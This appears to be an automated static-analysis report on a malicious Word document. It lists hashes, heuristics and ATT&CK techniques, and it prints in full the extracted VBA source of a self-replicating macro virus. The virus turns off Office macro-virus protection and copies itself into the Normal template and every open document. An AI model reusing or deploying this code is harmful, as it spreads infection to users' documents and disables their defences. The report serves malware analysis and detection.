Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8ac3d5a332c25fc5…

MALICIOUS

Office (OLE)

147.0 KB Created: 2005-02-07 11:27:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-30
MD5: 940ad8ac2d0b989581c87a6e00e53900 SHA-1: 1a8bbff74fb6e4d913916e8021ce1f4a3d7099bb SHA-256: 8ac3d5a332c25fc5fbd82a6179f0e9cb3e284a5d93f6c178a4afd63d834dee0f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Mark-of-the-Web Bypass

The sample contains VBA macros that disable macro protection and attempt to replicate themselves to other documents, indicating a malicious intent to spread. The heuristic 'OLE_VBA_MACRO_VIRUS_REPLICATION' specifically flags this self-replication and AV tampering behavior. The embedded artifact 'macros.bas' and the ClamAV detection 'Doc.Trojan.Thus-10' further support the classification as a macro-based threat.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Application.Options.VirusProtection = False
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3264 bytes
SHA-256: 714b596b686f1d693a4f5b30525d32ac9e656167b08e5c86bc3f01f8e0245c1f
Detection
ClamAV: Doc.Trojan.Thus-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_close()
'Thus_001'
'Anti-Smyser'
'Infection
' Infection no 5683
'
    On Error Resume Next
    Application.Options.VirusProtection = False
        
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1) <> "'Infection" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1) = "'Infection" Then
        nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(5, 1)
        nt = Mid(nt, 15)
        nt0 = Val(nt)
        nt = "' Infection no" + Str(nt0)
    End If
        
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1) <> "'Infection" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
        
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(4, 1) = "'Infection" Then
            ad = Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(5, 1)
            ad = Mid(ad, 15)
            ad0 = Val(ad) + 1
            ad = "' Infection no" + Str(ad0)
            
            If ad0 >= nt0 Then
                Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 5, ad
                NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 5, ad
            Else
                Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 5, nt
                NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 5, nt
            End If
            
        If ActiveDocument.Saved = False Then ActiveDocument.Save
        If NormalTemplate.Saved = False Then NormalTemplate.Save
        
        End If

    Next k
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.